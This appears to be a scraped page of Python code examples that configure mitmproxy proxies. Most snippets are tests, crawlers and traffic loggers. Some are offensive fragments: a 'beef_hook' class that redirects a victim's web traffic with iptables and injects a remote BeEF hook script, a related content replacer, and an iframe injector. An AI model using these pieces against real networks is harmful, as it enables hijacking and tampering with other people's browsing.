예제 #1
0
def main():
    app = wx.App(False)
    if len(sys.argv) >= 2 and sys.argv[1] == '-test':
        config = wx.Config("padherder_proxy_test")
        print "In test mode"
    else:
        config = wx.Config("padherder_proxy")
    wx.ConfigBase.Set(config)
    frame = MainWindow(None, "Padherder Proxy v%s" % PH_PROXY_VERSION)

    host = config.Read("host") or socket.gethostbyname(socket.gethostname())

    logger = dnsproxy.MyDNSLogger(frame.dns_tab)
    thread.start_new_thread(dnsproxy.serveDNS, (logger, frame.main_tab, frame))

    try:
        app_config = proxy.ProxyConfig(port=8080, host=host)
        app_server = ProxyServer(app_config)
        app_master = dump.DumpMaster(
            app_server, dump.Options(app_host='mitm.it', app_port=80,
                                     app=True))
        frame.app_master = app_master
        thread.start_new_thread(app_master.run, ())
    except:
        evt = custom_events.wxStatusEvent(
            message='Error initalizing mitm proxy:\n' +
            traceback.format_exc() +
            '\n\nYou probably put in an incorrect IP address in Settings')
        wx.PostEvent(frame.main_tab, evt)

    app.MainLoop()
예제 #2
0
 def test_terminate_error(self):
     sc = proxy.ServerConnection(proxy.ProxyConfig(), "http", self.d.IFACE,
                                 self.d.port, "host.com")
     sc.connect()
     sc.connection = mock.Mock()
     sc.connection.close = mock.Mock(side_effect=IOError)
     sc.terminate()
예제 #3
0
def start_filter_proxy(options):
	print "Press Ctrl+C to stop the proxy"
	port = int(options.port)
	config = proxy.ProxyConfig(port=port)
	server = ProxyServer(config)
	m = HeaderFilterProxy(server)
	m.run()
예제 #4
0
class ChainProxTest(ProxTestBase):
    """
    Chain n instances of mitmproxy in a row - because we can.
    """
    n = 2
    chain_config = [lambda: proxy.ProxyConfig(
        cacert = tutils.test_data.path("data/confdir/mitmproxy-ca.pem"),
    )] * n
    @classmethod
    def setupAll(cls):
        super(ChainProxTest, cls).setupAll()
        cls.chain = []
        for i in range(cls.n):
            config = cls.chain_config[i]()
            config.forward_proxy = ("http", "127.0.0.1",
                                    cls.proxy.port if i == 0 else
                                    cls.chain[-1].port
            )
            tmaster = cls.masterclass(config)
            cls.chain.append(ProxyThread(tmaster))
            cls.chain[-1].start()

    @classmethod
    def teardownAll(cls):
        super(ChainProxTest, cls).teardownAll()
        for p in cls.chain:
            p.tmaster.server.shutdown()

    def setUp(self):
        super(ChainProxTest, self).setUp()
        for p in self.chain:
            p.tmaster.clear_log()
            p.tmaster.state.clear()
def init_proxy(browser_params, manager_params, status_queue):
    """
    Uses mitmproxy used to log HTTP Requests and Responses
    <browser params> configuration parameters of host browser
    <manager_params> configuration parameters of the TaskManager
    <status_queue> a Queue to report proxy status back to TaskManager
    """
    logger = loggingclient(*manager_params['logger_address'])
    proxy_site_queue = Queue.Queue(
    )  # queue for crawler to communicate with proxy

    # gets local port from one of the free ports
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('', 0))
    proxy_port = sock.getsockname()[1]
    sock.close()

    config = proxy.ProxyConfig(cadir=os.path.join(os.path.dirname(__file__),
                                                  'cert'),
                               port=proxy_port)
    server = ProxyServer(config)
    logger.info('BROWSER %i: Intercepting Proxy listening on %i' %
                (browser_params['crawl_id'], proxy_port))
    m = MITMProxy.InterceptingMaster(server, proxy_site_queue, browser_params,
                                     manager_params, status_queue)
    thread = threading.Thread(target=m.run, args=())
    thread.daemon = True
    thread.start()
    return proxy_port, proxy_site_queue
예제 #6
0
 def test_terminate_error(self):
     sc = proxy.ServerConnection(proxy.ProxyConfig(), "http", self.d.IFACE,
                                 self.d.port, "host.com")
     sc.connect()
     sc.connection = mock.Mock()
     sc.connection.flush = mock.Mock(side_effect=tcp.NetLibDisconnect)
     sc.terminate()
예제 #7
0
def init_proxy(db_socket_address, crawl_id):
    """
    # deploys an (optional) instance of mitmproxy used to log crawl data
    <db_socket_address> is the connection address of the DataAggregator
    <crawl_id> is the id set by the TaskManager
    """

    proxy_site_queue = Queue.Queue(
    )  # queue for crawler to communicate with proxy

    # gets local port from one of the free ports
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('', 0))
    proxy_port = sock.getsockname()[1]
    sock.close()

    config = proxy.ProxyConfig(cacert=os.path.join(os.path.dirname(__file__),
                                                   'mitmproxy.pem'), )
    server = proxy.ProxyServer(config, proxy_port)
    print 'Intercepting Proxy listening on ' + str(proxy_port)
    m = MITMProxy.InterceptingMaster(server, crawl_id, proxy_site_queue,
                                     db_socket_address)
    thread = threading.Thread(target=m.run, args=())
    thread.daemon = True
    thread.start()
    return proxy_port, proxy_site_queue
예제 #8
0
    def onDNSEvent(self, event):
        if self.proxy_master is not None:
            self.proxy_master.shutdown()

        if event.message.startswith('api-na'):
            region = 'NA'
        else:
            region = 'JP'

        config = wx.ConfigBase.Get()
        host = config.Read("host") or socket.gethostbyname(
            socket.gethostname())
        httpsport = config.Read("httpsport") or "443"

        try:
            proxy_config = proxy.ProxyConfig(
                port=int(httpsport),
                host=host,
                mode='reverse',
                upstream_server=cmdline.parse_server_spec('https://%s:443/' %
                                                          event.message))
            proxy_server = ProxyServer(proxy_config)
        except Exception as e:
            evt = custom_events.wxStatusEvent(
                message='Error starting HTTPS proxy: %s' % e)
            wx.PostEvent(self.main_tab, evt)
            return

        self.proxy_master = PadMaster(proxy_server, self, region)
        thread.start_new_thread(self.proxy_master.run, ())
예제 #9
0
파일: snippet.py 프로젝트: szabo92/gistable
def main(argv):
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, 8080)
    print 'Starting proxy...'
    m = InjectingMaster(server)
    m.run()
def main (argv):
  config = proxy.ProxyConfig(
    cacert = os.path.expanduser('./mitmproxy.pem'),
  )
  server = proxy.ProxyServer(config, 8080)
  print 'Intercepting Proxy listening on 8080'
  m = InterceptingMaster(server)
  m.run()
예제 #11
0
 def setupAll(cls):
     cls.tqueue = Queue.Queue()
     cls.server = libpathod.test.Daemon(ssl=cls.ssl)
     pconf = cls.get_proxy_config()
     config = proxy.ProxyConfig(certfile=test_data.path("data/testkey.pem"),
                                **pconf)
     cls.proxy = ProxyThread(cls.tqueue, config)
     cls.proxy.start()
예제 #12
0
def start_filter_proxy(options):
    print "Press Ctrl+C to stop the proxy"
    port = int(options.port)
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, port)
    m = HeaderFilterProxy(server)
    m.run()
예제 #13
0
파일: proxy.py 프로젝트: llt7412365/scanner
def run_all():
    config = proxy.ProxyConfig(port=8080)
    server = ProxyServer(config)
    m = StickyMaster(server)
    m.run()


# if __name__ == '__main__':
# 	run_all()
예제 #14
0
 def __init__(self, port):
     password_manager = http_auth.PassManSingleUser('scrapy', 'scrapy')
     authenticator = http_auth.BasicProxyAuth(password_manager, "mitmproxy")
     cert_path = os.path.join(os.path.abspath(os.path.dirname(__file__)),
                              'keys', 'mitmproxy-ca.pem')
     server = proxy.ProxyServer(
         proxy.ProxyConfig(authenticator=authenticator, cacert=cert_path),
         port)
     Thread.__init__(self)
     controller.Master.__init__(self, server)
예제 #15
0
def main():
    print "serving at port", PORT

    #httpd.serve_forever()

    config = proxy.ProxyConfig()

    server = proxy.ProxyServer(config, PORT)
    m = RequestRecorder(server)
    m.run()
예제 #16
0
class beef_hook(Attack):
    """ Injects BeEF hooks into poisoned traffic.  Requires libmproxy
        and it's dependencies
    """
    def __init__(self):
        self.hook_path = None
        self.proxy_server = None
        self.hooker = None
        self.hooked_host = None
        self.hook_script = "<script src=\"{0}\"></script>"
        self.iptable_http = "iptables -t nat -A PREROUTING -p tcp --dport 80 -s {0} -j REDIRECT --to-port 5544"
        super(beef_hook, self).__init__("BeEF Hook")

    def modip_rule(self, enable=True):
        """ enables or disables the iptable rule for forwarding traffic locally
        """
        if enable:
            util.init_app(self.iptable_http.format(self.hooked_host))
        else:
            util.init_app(
                self.iptable_http.replace('-A', '-D').format(self.hooked_host))

    def initialize(self):
        while True:
            try:
                self.hook_path = raw_input('[!] Enter path to BeEF Hook: ')
                self.hooked_host = raw_input('[!] Enter host to hook: ')

                tmp = raw_input(
                    '[!] Hooking host \'%s\'.  Is this correct? [Y/n] ' %
                    self.hooked_host)
                if 'n' in tmp.lower():
                    return None
                break
            except KeyboardInterrupt:
                return None
            except Exception, e:
                util.Error(e)

        self.hook_script = self.hook_script.format(self.hook_path)
        self.modip_rule()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
            resolver=platform.resolver(), sslports=[443]))

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.hook_script)

        thread = Thread(target=self.hooker.run)
        thread.start()

        return self.hooked_host
예제 #17
0
def start_proxy_server(port, referer):
    """
    Start proxy server and return an instance.
    :param port: int
    :param referer: string
    :return: RefererMaster
    """
    config = proxy.ProxyConfig(port=port)
    server = ProxyServer(config)
    m = RefererMaster(server, referer)
    m.run()
예제 #18
0
def main(argv):
    if len(argv) != 2:
        print "Usage: %s IFRAME_URL" % argv[0]
        sys.exit(1)
    iframe_url = argv[1]
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, 8080)
    print 'Starting proxy...'
    m = InjectingMaster(server, iframe_url)
    m.run()
예제 #19
0
def start_proxy(app_url, app_name="test", port_no=2820, generate=True):
    config = proxy.ProxyConfig(
        port=port_no,
        # use ~/.mitmproxy/mitmproxy-ca.pem as default CA file.
        cadir=os.path.dirname(os.path.realpath(__file__)))

    state = flow.State()
    server = ProxyServer(config)

    flowMaster = ProxyFlowMaster(server, state, app_url, app_name, generate)
    print "Proxy Started on port " + str(port_no)
    flowMaster.run()
예제 #20
0
    def __init__(self):
        Thread.__init__(self)

        config = proxy.ProxyConfig(
            cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
            transparent_proxy=dict(showhost=True,
                                   resolver=platform.resolver(),
                                   sslports=[443, 8443])  #Thanks nmonkee
        )
        state = flow.State()
        server = proxy.ProxyServer(config, 8080)
        self.m = MyMaster(server, state)
예제 #21
0
 def setupAll(cls):
     cls.server = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions)
     cls.server2 = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions)
     pconf = cls.get_proxy_config()
     config = proxy.ProxyConfig(
         no_upstream_cert = cls.no_upstream_cert,
         cacert = tutils.test_data.path("data/confdir/mitmproxy-ca.pem"),
         authenticator = cls.authenticator,
         **pconf
     )
     tmaster = cls.masterclass(config)
     cls.proxy = ProxyThread(tmaster)
     cls.proxy.start()
예제 #22
0
 def __init__(self, filter_id, package_name, description):
     self.report = {}
     self.filter_id = filter_id
     self.package_name = package_name
     self.description = description
     config = proxy.ProxyConfig(port=8080,mode="transparent")
     server = ProxyServer(config)
     controller.Master.__init__(self, server)
     flow_dump_file = open(self.get_package_name()+"_network_traffic", "wb")
     self.network_flow = FlowWriter(flow_dump_file)
     self.should_exit = None
     self.extra_analyzers = [InsecureTransmissionAnalyzer(self),ZIPPathTraversalAnalyzer(self)]
     logging.debug("Init analyzer")
예제 #23
0
    def test_simple(self):
        sc = proxy.ServerConnection(proxy.ProxyConfig(), "http", self.d.IFACE,
                                    self.d.port, "host.com")
        sc.connect()
        r = tutils.treq()
        r.path = "/p/200:da"
        sc.send(r)
        assert http.read_response(sc.rfile, r.method, 1000)
        assert self.d.last_log()

        r.content = flow.CONTENT_MISSING
        tutils.raises("incomplete request", sc.send, r)

        sc.terminate()
예제 #24
0
    def start(self, url):
        log.info("before proxy")
        config = proxy.ProxyConfig(port=8888)
        server = ProxyServer(config)
        self.m = InjectionProxy.InjectionProxy(server)
        log.info("before thread")
        thread.start_new_thread(self.m.run, ())

        #self.working_path = os.path.dirname(os.path.realpath(__file__))
        #self.working_path = os.path.join(self.working_path, "..", "..", "lib", "jsh")
        #subprocess.Popen("python " + os.path.join(self.working_path, "InjectionProxy.py"))
        time.sleep(2)  # waits for proxy to go up
        iexplore = self.get_path("Internet Explorer")
        log.info("after thread, before execute")
        return self.execute(iexplore, args="%s" % url)
예제 #25
0
 def setupAll(cls):
     cls.server = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions)
     cls.server2 = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions)
     pconf = cls.get_proxy_config()
     cls.confdir = tempfile.gettempdir()
     config = proxy.ProxyConfig(
         no_upstream_cert = cls.no_upstream_cert,
         confdir = cls.confdir,
         authenticator = cls.authenticator,
         **pconf
     )
     tmaster = cls.masterclass(config)
     tmaster.start_app(APP_HOST, APP_PORT, cls.externalapp)
     cls.proxy = ProxyThread(tmaster)
     cls.proxy.start()
예제 #26
0
def start_creator_proxy(options):
    global collection

    port = int(options.port)
    name = options.name
    path = options.path
    host = options.host

    if options.restricted_headers == 'false':
        restricted_headers = False
    else:
        restricted_headers = True

    methods = options.methods
    status_codes = ""

    print "Proxy running at %d" % (port)
    print "Press Ctrl+C to stop the proxy"

    rules = {
        'host': host,
        'methods': methods,
        'restricted_headers': restricted_headers
    }

    collection = Collection(name, path)
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, port)

    if options.tcp_connection == 'false':
        tcp_connection = False
    else:
        tcp_connection = True

    m = CollectionCreatorProxy(server,
                               collection,
                               rules,
                               tcp_connection=tcp_connection,
                               tcp_host=options.tcp_host,
                               tcp_port=options.tcp_port)

    m.run()

    signal.signal(signal.SIGINT, signal_handler)
    print 'Press Ctrl+C again to save the collection'
    signal.pause()
예제 #27
0
    def initialize(self):
        self.hook_script = self.hook_script.format(self.config['hook_path'].value)
        self.modip_rule()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
                                        resolver = platform.resolver(),
                                        sslports = [443])
                                )

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.hook_script)

        util.Msg('Firing up BeEF hook...')
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True
예제 #28
0
def start_proxy_server(port, inout_path, res_path, http_proxy):
    mapping_handler = MappingItemsManager(inout_path, res_path)
    proxy_mapper = ProxyMapper(mapping_handler, http_proxy)

    config = proxy.ProxyConfig(port=port, cadir="~/.mitmproxy/")

    server = ProxyServer(config)

    state = flow.State()

    m = MITMProxy(server, state, proxy_mapper)

    def signal_handler(signal, frame):
        info("\nShutting down proxy server")
        m.shutdown()
        success("Proxy server stopped")
        sys.exit(0)

    signal.signal(signal.SIGINT, signal_handler)
    m.run()
예제 #29
0
def main(argv):
    # read config from ini file, check it and write it back
    config_file = "config.ini"
    config = ConfigParser.ConfigParser()
    config.read(config_file)
    
    # Check config and set defaault params
    check_config(config)
    
    # write config to file
    with open(config_file, "wb") as cf:    
        config.write(cf)

    # Configure proxy server 
    proxy_config = proxy.ProxyConfig(
        port=int(config.get("proxy", "port")),
        cadir=config.get("proxy", "cadir"),
        mode=config.get("proxy", "mode")
    )
    
    # Create Server
    server = ProxyServer(proxy_config)
    
    # Creater Interceptor
    imaster = InterceptingMaster(server, config)
    imaster.run()
    
    print "Intercepting Proxy listening on " + str(proxy_config.port) + " in " + str(proxy_config.mode) + " mode "
    
    # Wait till keyboard interrupt
    while True:
        try:
            time.sleep(1)    
        except KeyboardInterrupt:
            print 'KeyboardInterrupt received. Shutting down'
            imaster.shutdown()
            sys.exit(0)
        except Exception as e:
            print e
            print 'Exception catched.'
            sys.exit(0)
예제 #30
0
    def initialize(self):
        self.load_file()
        if (len(self.replace_regex) + len(self.replace_tags)) <= 0:
            util.Error("No matches loaded.")
            return False

        self.modip()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
            resolver=platform.resolver(), sslports=[443]))

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.replace_regex,
                             self.replace_tags)

        util.Msg("Launching replacer...")
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True